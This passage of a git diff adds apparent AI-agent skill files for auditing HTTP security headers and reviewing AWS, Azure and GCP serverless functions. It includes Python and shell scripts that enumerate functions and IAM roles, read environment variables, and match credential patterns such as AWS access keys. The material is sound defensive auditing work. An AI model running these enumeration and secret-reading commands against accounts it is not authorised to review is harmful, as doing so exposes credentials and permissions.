geolocation=()` | Restrict browser features | + +## Cookie Security Attributes + +| Attribute | Description | +|-----------|-------------| +| `Secure` | Only send over HTTPS | +| `HttpOnly` | Not accessible via JavaScript | +| `SameSite=Strict` | No cross-site cookie sending | +| `Path=/` | Restrict cookie scope | + +## Online Scanners + +| Tool | URL | Description | +|------|-----|-------------| +| SecurityHeaders.com | https://securityheaders.com/ | Letter-grade assessment | +| Mozilla Observatory | https://observatory.mozilla.org/ | Comprehensive scoring | +| CSP Evaluator | https://csp-evaluator.withgoogle.com/ | CSP weakness analysis | +| Hardenize | https://www.hardenize.com/ | TLS and header monitoring | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Fetch HTTP response headers | +| `re` | stdlib | Parse CSP directives and HSTS values | + +## References + +- OWASP Secure Headers: https://owasp.org/www-project-secure-headers/ +- MDN Security Headers: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers +- HSTS Preload: https://hstspreload.org/ +- CSP reference: https://content-security-policy.com/ diff --git a/.claude/skills/performing-security-headers-audit/scripts/agent.py b/.claude/skills/performing-security-headers-audit/scripts/agent.py new file mode 100644 index 0000000..dce04e8 --- /dev/null +++ b/.claude/skills/performing-security-headers-audit/scripts/agent.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python3 +"""Agent for performing security headers audit. + +Analyzes HTTP response headers for HSTS, CSP, X-Frame-Options, +cookie security attributes, and information disclosure to identify +missing or misconfigured browser-level protections. +""" + +import requests +import json +import sys +import re +from datetime import datetime + + +class SecurityHeadersAgent: + """Audits HTTP security headers on web applications.""" + + def __init__(self, target_url): + self.target_url = target_url + if not target_url.startswith("http"): + self.target_url = f"https://{target_url}" + self.session = requests.Session() + self.session.verify = True + + def fetch_headers(self, path="/"): + """Fetch response headers from a target path.""" + url = f"{self.target_url.rstrip('/')}{path}" + try: + resp = self.session.get(url, timeout=10, allow_redirects=True) + return { + "url": url, + "status": resp.status_code, + "headers": dict(resp.headers), + "cookies": [ + {"name": c.name, "value": c.value[:20], "attributes": { + "secure": c.secure, "httponly": "httponly" in c._rest, + "samesite": c._rest.get("SameSite", c._rest.get("samesite", "Not set")), + "path": c.path, "domain": c.domain, + }} for c in resp.cookies + ], + } + except requests.RequestException as e: + return {"url": url, "error": str(e)} + + def check_hsts(self, headers): + """Check HTTP Strict Transport Security configuration.""" + hsts = headers.get("Strict-Transport-Security", headers.get("strict-transport-security", "")) + finding = { + "header": "Strict-Transport-Security", + "present": bool(hsts), + "value": hsts, + "severity": "High" if not hsts else "Info", + } + if hsts: + finding["has_includeSubDomains"] = "includesubdomains" in hsts.lower() + finding["has_preload"] = "preload" in hsts.lower() + max_age_match = re.search(r"max-age=(\d+)", hsts) + if max_age_match: + max_age = int(max_age_match.group(1)) + finding["max_age"] = max_age + finding["max_age_sufficient"] = max_age >= 31536000 + if max_age < 31536000: + finding["severity"] = "Medium" + finding["recommendation"] = "Increase max-age to at least 31536000 (1 year)" + else: + finding["recommendation"] = "Add: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload" + return finding + + def check_csp(self, headers): + """Analyze Content Security Policy for weaknesses.""" + csp = headers.get("Content-Security-Policy", headers.get("content-security-policy", "")) + report_only = headers.get("Content-Security-Policy-Report-Only", "") + + finding = { + "header": "Content-Security-Policy", + "present": bool(csp), + "value": csp[:500] if csp else "", + "report_only": bool(report_only), + "severity": "High" if not csp else "Info", + "issues": [], + } + + if csp: + if "'unsafe-inline'" in csp: + finding["issues"].append("unsafe-inline allows inline script execution (XSS risk)") + finding["severity"] = "High" + if "'unsafe-eval'" in csp: + finding["issues"].append("unsafe-eval allows eval() calls (XSS risk)") + finding["severity"] = "High" + if " * " in f" {csp} " or csp.strip().endswith("*"): + finding["issues"].append("Wildcard (*) allows loading from any origin") + finding["severity"] = "Medium" + if "default-src" not in csp: + finding["issues"].append("Missing default-src fallback directive") + if report_only and not csp: + finding["issues"].append("CSP is report-only, not enforcing") + finding["severity"] = "Medium" + else: + finding["recommendation"] = "Implement Content-Security-Policy with script-src using nonces" + + return finding + + def check_frame_options(self, headers): + """Check X-Frame-Options and frame-ancestors.""" + xfo = headers.get("X-Frame-Options", headers.get("x-frame-options", "")) + csp = headers.get("Content-Security-Policy", "") + frame_ancestors = "" + if "frame-ancestors" in csp: + match = re.search(r"frame-ancestors\s+([^;]+)", csp) + if match: + frame_ancestors = match.group(1).strip() + + finding = { + "header": "X-Frame-Options", + "present": bool(xfo), + "value": xfo, + "frame_ancestors": frame_ancestors, + "severity": "Medium" if not xfo and not frame_ancestors else "Info", + } + if not xfo and not frame_ancestors: + finding["recommendation"] = "Add X-Frame-Options: DENY or CSP frame-ancestors 'none'" + return finding + + def check_content_type_options(self, headers): + """Check X-Content-Type-Options.""" + xcto = headers.get("X-Content-Type-Options", headers.get("x-content-type-options", "")) + return { + "header": "X-Content-Type-Options", + "present": bool(xcto), + "value": xcto, + "correct": xcto.lower() == "nosniff" if xcto else False, + "severity": "Medium" if not xcto else "Info", + "recommendation": "Add: X-Content-Type-Options: nosniff" if not xcto else None, + } + + def check_referrer_policy(self, headers): + """Check Referrer-Policy.""" + rp = headers.get("Referrer-Policy", headers.get("referrer-policy", "")) + return { + "header": "Referrer-Policy", + "present": bool(rp), + "value": rp, + "severity": "Medium" if not rp else "Info", + "recommendation": "Add: Referrer-Policy: strict-origin-when-cross-origin" if not rp else None, + } + + def check_permissions_policy(self, headers): + """Check Permissions-Policy.""" + pp = headers.get("Permissions-Policy", headers.get("permissions-policy", "")) + return { + "header": "Permissions-Policy", + "present": bool(pp), + "value": pp[:200] if pp else "", + "severity": "Low" if not pp else "Info", + "recommendation": "Add: Permissions-Policy: camera=(), microphone=(), geolocation=()" if not pp else None, + } + + def check_info_disclosure(self, headers): + """Check for information disclosure headers.""" + findings = [] + disclosure_headers = ["Server", "X-Powered-By", "X-AspNet-Version", "X-Generator"] + for h in disclosure_headers: + value = headers.get(h, headers.get(h.lower(), "")) + if value: + findings.append({ + "header": h, + "value": value, + "severity": "Low", + "recommendation": f"Remove or genericize {h} header", + }) + return findings + + def check_cookie_security(self, cookies): + """Audit cookie security attributes.""" + findings = [] + for cookie in cookies: + attrs = cookie.get("attributes", {}) + issues = [] + if not attrs.get("secure"): + issues.append("Missing Secure flag") + if not attrs.get("httponly"): + issues.append("Missing HttpOnly flag") + samesite = str(attrs.get("samesite", "Not set")) + if samesite == "Not set" or samesite == "None": + issues.append(f"SameSite={samesite}") + + if issues: + findings.append({ + "cookie": cookie["name"], + "issues": issues, + "severity": "High" if "Secure" in str(issues) else "Medium", + }) + return findings + + def calculate_grade(self, header_findings): + """Calculate a letter grade based on findings.""" + score = 100 + for f in header_findings: + if not f.get("present", True): + sev = f.get("severity", "Info") + if sev == "High": + score -= 20 + elif sev == "Medium": + score -= 10 + elif sev == "Low": + score -= 5 + if f.get("issues"): + score -= len(f["issues"]) * 5 + + if score >= 90: + return "A" + elif score >= 80: + return "B" + elif score >= 60: + return "C" + elif score >= 40: + return "D" + return "F" + + def run_audit(self, paths=None): + """Run complete security headers audit.""" + if paths is None: + paths = ["/"] + + all_findings = [] + for path in paths: + response_data = self.fetch_headers(path) + if "error" in response_data: + continue + + headers = response_data["headers"] + findings = { + "path": path, + "hsts": self.check_hsts(headers), + "csp": self.check_csp(headers), + "x_frame_options": self.check_frame_options(headers), + "x_content_type_options": self.check_content_type_options(headers), + "referrer_policy": self.check_referrer_policy(headers), + "permissions_policy": self.check_permissions_policy(headers), + "info_disclosure": self.check_info_disclosure(headers), + "cookie_security": self.check_cookie_security(response_data.get("cookies", [])), + } + all_findings.append(findings) + + header_checks = [] + if all_findings: + f = all_findings[0] + header_checks = [f["hsts"], f["csp"], f["x_frame_options"], + f["x_content_type_options"], f["referrer_policy"], + f["permissions_policy"]] + + report = { + "target": self.target_url, + "audit_date": datetime.utcnow().isoformat(), + "grade": self.calculate_grade(header_checks), + "findings": all_findings, + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [path1,path2,...]") + sys.exit(1) + + target_url = sys.argv[1] + paths = sys.argv[2].split(",") if len(sys.argv) > 2 else ["/"] + + agent = SecurityHeadersAgent(target_url) + agent.run_audit(paths) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/performing-serverless-function-security-review/LICENSE b/.claude/skills/performing-serverless-function-security-review/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/performing-serverless-function-security-review/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/performing-serverless-function-security-review/SKILL.md b/.claude/skills/performing-serverless-function-security-review/SKILL.md new file mode 100644 index 0000000..94aafa5 --- /dev/null +++ b/.claude/skills/performing-serverless-function-security-review/SKILL.md @@ -0,0 +1,306 @@ +--- +name: performing-serverless-function-security-review +description: 'Performing security reviews of serverless functions across AWS Lambda, + Azure Functions, and GCP Cloud Functions to identify overly permissive execution + roles, insecure environment variables, injection vulnerabilities, and missing runtime + protections. + + ' +domain: cybersecurity +subdomain: cloud-security +tags: +- cloud-security +- serverless +- lambda +- azure-functions +- cloud-functions +- security-review +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.IR-01 +- ID.AM-08 +- GV.SC-06 +- DE.CM-01 +mitre_attack: +- T1078.004 +- T1530 +- T1537 +- T1580 +- T1055 +--- + +# Performing Serverless Function Security Review + +## When to Use + +- When auditing serverless applications before production deployment +- When investigating potential data exposure through function environment variables or logs +- When assessing the blast radius of a compromised serverless function execution role +- When compliance reviews require documentation of serverless security controls +- When building secure-by-default templates for serverless deployments + +**Do not use** for container or VM security assessments (use container scanning tools), for API security testing (use DAST tools on the API Gateway layer), or for real-time serverless threat detection (use AWS Lambda Extensions with security agents). + +## Prerequisites + +- AWS CLI, Azure CLI, and gcloud CLI configured with appropriate permissions +- Access to read function configurations, policies, and execution roles +- Prowler or Checkov for automated serverless security scanning +- SAM CLI or Serverless Framework for local function analysis +- CloudTrail, Azure Monitor, or Cloud Audit Logs enabled for function invocation monitoring + +## Workflow + +### Step 1: Enumerate All Serverless Functions and Configurations + +List all functions across cloud providers with their runtime, memory, timeout, and network settings. + +```bash +# AWS Lambda: List all functions with key security attributes +aws lambda list-functions \ + --query 'Functions[*].[FunctionName,Runtime,MemorySize,Timeout,Role,VpcConfig.VpcId,Layers[*].Arn]' \ + --output table + +# Check for functions using deprecated runtimes +aws lambda list-functions \ + --query 'Functions[?Runtime==`python3.7` || Runtime==`nodejs14.x` || Runtime==`dotnetcore3.1`].[FunctionName,Runtime]' \ + --output table + +# Azure Functions: List all function apps +az functionapp list \ + --query "[].{Name:name, Runtime:siteConfig.linuxFxVersion, ResourceGroup:resourceGroup, HttpsOnly:httpsOnly}" \ + -o table + +# GCP Cloud Functions: List all functions +gcloud functions list \ + --format="table(name, runtime, status, httpsTrigger.url, serviceAccountEmail, vpcConnector)" +``` + +### Step 2: Audit Execution Role Permissions + +Review IAM roles attached to functions for overly permissive policies. + +```bash +# AWS: Check each Lambda function's execution role +for func in $(aws lambda list-functions --query 'Functions[*].FunctionName' --output text); do + role_arn=$(aws lambda get-function-configuration --function-name "$func" --query 'Role' --output text) + role_name=$(echo "$role_arn" | awk -F'/' '{print $NF}') + echo "=== $func -> $role_name ===" + + # List attached policies + aws iam list-attached-role-policies --role-name "$role_name" \ + --query 'AttachedPolicies[*].[PolicyName,PolicyArn]' --output table + + # Check for wildcard actions + for policy_arn in $(aws iam list-attached-role-policies --role-name "$role_name" --query 'AttachedPolicies[*].PolicyArn' --output text); do + version=$(aws iam get-policy --policy-arn "$policy_arn" --query 'Policy.DefaultVersionId' --output text) + aws iam get-policy-version --policy-arn "$policy_arn" --version-id "$version" \ + --query 'PolicyVersion.Document' --output json | python3 -c " +import json, sys +doc = json.load(sys.stdin) +for stmt in doc.get('Statement', []): + actions = stmt.get('Action', []) + if isinstance(actions, str): actions = [actions] + resources = stmt.get('Resource', []) + if isinstance(resources, str): resources = [resources] + if '*' in actions or any(a.endswith(':*') for a in actions): + print(f' WARNING: {stmt[\"Effect\"]} {actions} on {resources}') +" 2>/dev/null + done +done +``` + +### Step 3: Check Environment Variables for Secrets + +Scan function environment variables for hardcoded credentials, API keys, and database connection strings. + +```bash +# AWS Lambda: Extract environment variables +for func in $(aws lambda list-functions --query 'Functions[*].FunctionName' --output text); do + envvars=$(aws lambda get-function-configuration --function-name "$func" \ + --query 'Environment.Variables' --output json 2>/dev/null) + if [ "$envvars" != "null" ] && [ -n "$envvars" ]; then + echo "=== $func ===" + echo "$envvars" | python3 -c " +import json, sys, re +vars = json.load(sys.stdin) +sensitive_patterns = [ + r'(?i)(password|secret|key|token|credential|api.?key)', + r'(?i)(aws.?access|aws.?secret)', + r'(?i)(database.?url|connection.?string|db.?pass)', + r'AKIA[0-9A-Z]{16}' +] +for key, value in vars.items(): + for pattern in sensitive_patterns: + if re.search(pattern, key) or re.search(pattern, str(value)): + masked = value[:4] + '****' + value[-4:] if len(value) > 8 else '****' + print(f' SENSITIVE: {key} = {masked}') + break +" + fi +done + +# Azure Functions: Check app settings +for app in $(az functionapp list --query "[].name" -o tsv); do + rg=$(az functionapp show --name "$app" --query "resourceGroup" -o tsv) + echo "=== $app ===" + az functionapp config appsettings list \ + --name "$app" --resource-group "$rg" \ + --query "[?contains(name,'KEY') || contains(name,'SECRET') || contains(name,'PASSWORD')].{Name:name}" \ + -o table 2>/dev/null +done +``` + +### Step 4: Review Function Triggers and Access Controls + +Verify that function triggers have appropriate authentication and authorization. + +```bash +# AWS: Check for unauthenticated Lambda function URLs +aws lambda list-function-url-configs \ + --function-name FUNCTION_NAME \ + --query 'FunctionUrlConfigs[*].[FunctionUrl,AuthType,Cors]' --output table + +# Check for resource-based policies allowing public invocation +for func in $(aws lambda list-functions --query 'Functions[*].FunctionName' --output text); do + policy=$(aws lambda get-policy --function-name "$func" --query 'Policy' --output text 2>/dev/null) + if [ -n "$policy" ]; then + echo "$policy" | python3 -c " +import json, sys +doc = json.loads(sys.stdin.read()) +for stmt in doc.get('Statement', []): + principal = stmt.get('Principal', {}) + if principal == '*' or principal == {'AWS': '*'}: + print(f'WARNING: $func has public invoke policy: {stmt.get(\"Sid\", \"unnamed\")}')" 2>/dev/null + fi +done + +# GCP: Check for unauthenticated Cloud Functions +gcloud functions list --format=json | python3 -c " +import json, sys +functions = json.load(sys.stdin) +for func in functions: + name = func.get('name', '').split('/')[-1] + trigger = func.get('httpsTrigger', {}) + if trigger and func.get('ingressSettings') == 'ALLOW_ALL': + print(f'WARNING: {name} allows all ingress traffic') +" +``` + +### Step 5: Analyze Function Code for Security Vulnerabilities + +Review function code for common serverless security issues. + +```bash +# Download Lambda function code for review +aws lambda get-function --function-name FUNCTION_NAME \ + --query 'Code.Location' --output text | xargs curl -o function.zip +unzip function.zip -d function-code/ + +# Scan with Bandit (Python) or ESLint security plugin (Node.js) +# Python functions +pip install bandit +bandit -r function-code/ -f json -o bandit-results.json + +# Node.js functions +npm install -g eslint @microsoft/eslint-plugin-sdl +eslint --ext .js function-code/ + +# Check for common serverless vulnerabilities: +# 1. SQL injection in database queries +# 2. Command injection via os.system or subprocess +# 3. Insecure deserialization +# 4. Event data injection (untrusted event parameters) +# 5. Excessive function permissions +grep -rn "os.system\|subprocess\|eval(\|exec(" function-code/ || echo "No obvious injection patterns" +grep -rn "pickle.loads\|yaml.load\b" function-code/ || echo "No deserialization risks" +``` + +### Step 6: Run Automated Serverless Security Scanning + +Execute Checkov and Prowler for automated compliance checks on serverless resources. + +```bash +# Checkov scan for serverless frameworks +checkov -d ./serverless-project/ \ + --framework serverless \ + --output json > checkov-serverless.json + +# Prowler Lambda-specific checks +prowler aws \ + --checks lambda_function_no_secrets_in_variables \ + lambda_function_url_auth_type \ + lambda_function_using_supported_runtimes \ + lambda_function_not_publicly_accessible \ + -M json-ocsf \ + -o ./prowler-lambda/ +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Execution Role | IAM role assumed by a serverless function during execution that defines what AWS/cloud resources the function can access | +| Event Injection | Serverless-specific attack where untrusted data in the event trigger payload is used unsafely in function logic | +| Function URL | Direct HTTP(S) endpoint for invoking Lambda functions without API Gateway, which may be configured without authentication | +| Cold Start | Initial function execution that includes container provisioning, during which security agents and extensions must initialize | +| Resource-Based Policy | Policy attached to the function itself that defines who can invoke it, separate from the execution role | +| Secrets Manager Integration | Pattern of retrieving sensitive configuration from a secrets management service rather than storing in environment variables | + +## Tools & Systems + +- **AWS Lambda**: Primary serverless compute platform with execution roles, layers, and resource policies +- **Checkov**: Static analysis tool for infrastructure-as-code with serverless-specific security policies +- **Prowler**: Cloud security tool with Lambda-specific checks for permissions, public access, and runtime versions +- **Bandit**: Python static analysis tool for detecting security issues in function source code +- **OWASP Serverless Top 10**: Security risk framework specific to serverless architectures + +## Common Scenarios + +### Scenario: Lambda Function with Admin Role Leaking Secrets via Environment Variables + +**Context**: A security review discovers a Lambda function with `AdministratorAccess` execution role and database credentials stored in plaintext environment variables visible in CloudWatch logs. + +**Approach**: +1. Enumerate the function's execution role and discover `AdministratorAccess` managed policy +2. Check environment variables and find `DB_PASSWORD`, `API_KEY`, and `STRIPE_SECRET_KEY` in plaintext +3. Review CloudWatch logs and find credentials printed in debug log statements +4. Create a scoped IAM policy granting only the specific DynamoDB and S3 actions needed +5. Migrate secrets to AWS Secrets Manager and update function to retrieve at runtime +6. Remove debug logging that outputs sensitive data +7. Rotate all exposed credentials and enable Lambda function encryption with KMS + +**Pitfalls**: Changing a function's execution role can break it if the new role is too restrictive. Test in a staging environment first. Environment variable changes trigger a new function version, so ensure aliases and triggers are updated. Secrets Manager calls add latency; cache secrets within the execution context to avoid per-invocation lookups. + +## Output Format + +``` +Serverless Function Security Review +======================================= +Account: 123456789012 +Functions Reviewed: 34 +Review Date: 2026-02-23 + +CRITICAL FINDINGS: +[SRVL-001] Overly Permissive Execution Role + Function: payment-processor + Role: AdministratorAccess (full AWS access) + Required Permissions: DynamoDB:PutItem, S3:GetObject (2 actions) + Remediation: Create scoped policy with only required permissions + +[SRVL-002] Secrets in Environment Variables + Function: payment-processor + Variables: DB_PASSWORD, STRIPE_SECRET_KEY, API_KEY + Risk: Visible in console, API, and CloudWatch logs + Remediation: Migrate to Secrets Manager, remove from env vars + +SUMMARY: + Functions with admin roles: 3 / 34 + Functions with secrets in env vars: 8 / 34 + Functions with deprecated runtimes: 5 / 34 + Functions with public access: 2 / 34 + Functions without VPC: 28 / 34 + Functions with wildcard permissions: 12 / 34 +``` diff --git a/.claude/skills/performing-serverless-function-security-review/references/api-reference.md b/.claude/skills/performing-serverless-function-security-review/references/api-reference.md new file mode 100644 index 0000000..53ce12b --- /dev/null +++ b/.claude/skills/performing-serverless-function-security-review/references/api-reference.md @@ -0,0 +1,72 @@ +# API Reference: Serverless Function Security Review + +## Overview + +Agent automates Lambda security reviews using boto3 to audit execution roles, environment variable secrets, deprecated runtimes, and public access configurations. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| boto3 | >= 1.28 | AWS SDK for Lambda and IAM API calls | +| botocore | >= 1.31 | Exception handling for AWS API errors | + +## Core Functions + +### `list_all_functions(client)` +Paginates through all Lambda functions in the region. +- **Parameters**: `client` - boto3 Lambda client +- **Returns**: `list[dict]` - full function configuration objects + +### `check_deprecated_runtime(runtime)` +Checks if a Lambda runtime is end-of-life. +- **Parameters**: `runtime` (str) - Lambda runtime identifier +- **Returns**: `bool` - True if deprecated + +### `audit_execution_role(iam, role_arn)` +Inspects attached IAM policies for wildcard actions and AdministratorAccess. +- **Parameters**: `iam` - boto3 IAM client, `role_arn` (str) +- **Returns**: `list[str]` - finding descriptions + +### `check_env_secrets(env_vars)` +Scans environment variables for sensitive patterns (passwords, API keys, AWS credentials). +- **Parameters**: `env_vars` (dict) - Lambda environment variables +- **Returns**: `list[str]` - masked sensitive variable findings + +### `check_public_access(client, function_name)` +Checks resource-based policies and function URLs for unauthenticated access. +- **Parameters**: `client` - boto3 Lambda client, `function_name` (str) +- **Returns**: `list[str]` - public access findings + +### `run_review(region="us-east-1")` +Orchestrates the full review across all functions. Returns structured report dict. + +## AWS API Calls Used + +| API Call | Service | Purpose | +|----------|---------|---------| +| `list_functions` | Lambda | Enumerate all Lambda functions | +| `get_policy` | Lambda | Retrieve resource-based policy | +| `list_function_url_configs` | Lambda | Check function URL auth type | +| `list_attached_role_policies` | IAM | Get policies on execution role | +| `get_policy_version` | IAM | Read policy document for wildcards | + +## Environment Variables + +| Variable | Required | Description | +|----------|----------|-------------| +| `AWS_ACCESS_KEY_ID` | Yes | AWS credential (or use IAM role) | +| `AWS_SECRET_ACCESS_KEY` | Yes | AWS credential (or use IAM role) | +| `AWS_DEFAULT_REGION` | No | Defaults to us-east-1 | + +## Output Schema + +```json +{ + "total_functions": 34, + "deprecated_runtimes": [{"function": "name", "runtime": "python3.7"}], + "role_findings": ["CRITICAL: Role X has AdministratorAccess"], + "secret_findings": [{"function": "name", "finding": "SENSITIVE: DB_PASSWORD = prod****word"}], + "public_access_findings": ["PUBLIC ACCESS: func allows public invocation"] +} +``` diff --git a/.claude/skills/performing-serverless-function-security-review/scripts/agent.py b/.claude/skills/performing-serverless-function-security-review/scripts/agent.py new file mode 100644 index 0000000..baf9062 --- /dev/null +++ b/.claude/skills/performing-serverless-function-security-review/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +"""Serverless function security review agent using boto3.""" + +import json +import re +import boto3 +from botocore.exceptions import ClientError + + +def get_lambda_client(region="us-east-1"): + return boto3.client("lambda", region_name=region) + + +def get_iam_client(region="us-east-1"): + return boto3.client("iam", region_name=region) + + +def list_all_functions(client): + functions = [] + paginator = client.get_paginator("list_functions") + for page in paginator.paginate(): + functions.extend(page["Functions"]) + return functions + + +def check_deprecated_runtime(runtime): + deprecated = [ + "python2.7", "python3.6", "python3.7", "nodejs10.x", + "nodejs12.x", "nodejs14.x", "dotnetcore2.1", "dotnetcore3.1", + "ruby2.5", "java8", "go1.x", + ] + return runtime in deprecated + + +def audit_execution_role(iam, role_arn): + findings = [] + role_name = role_arn.split("/")[-1] + try: + attached = iam.list_attached_role_policies(RoleName=role_name) + for policy in attached["AttachedPolicies"]: + if policy["PolicyName"] == "AdministratorAccess": + findings.append(f"CRITICAL: Role {role_name} has AdministratorAccess") + version_id = iam.get_policy(PolicyArn=policy["PolicyArn"])["Policy"]["DefaultVersionId"] + doc = iam.get_policy_version( + PolicyArn=policy["PolicyArn"], VersionId=version_id + )["PolicyVersion"]["Document"] + for stmt in doc.get("Statement", []): + actions = stmt.get("Action", []) + if isinstance(actions, str): + actions = [actions] + if "*" in actions or any(a.endswith(":*") for a in actions): + findings.append( + f"WARNING: {role_name} has wildcard action: {actions} " + f"on {stmt.get('Resource', '*')}" + ) + except ClientError as e: + findings.append(f"ERROR auditing role {role_name}: {e}") + return findings + + +SENSITIVE_PATTERNS = [ + re.compile(r"(?i)(password|secret|key|token|credential|api.?key)"), + 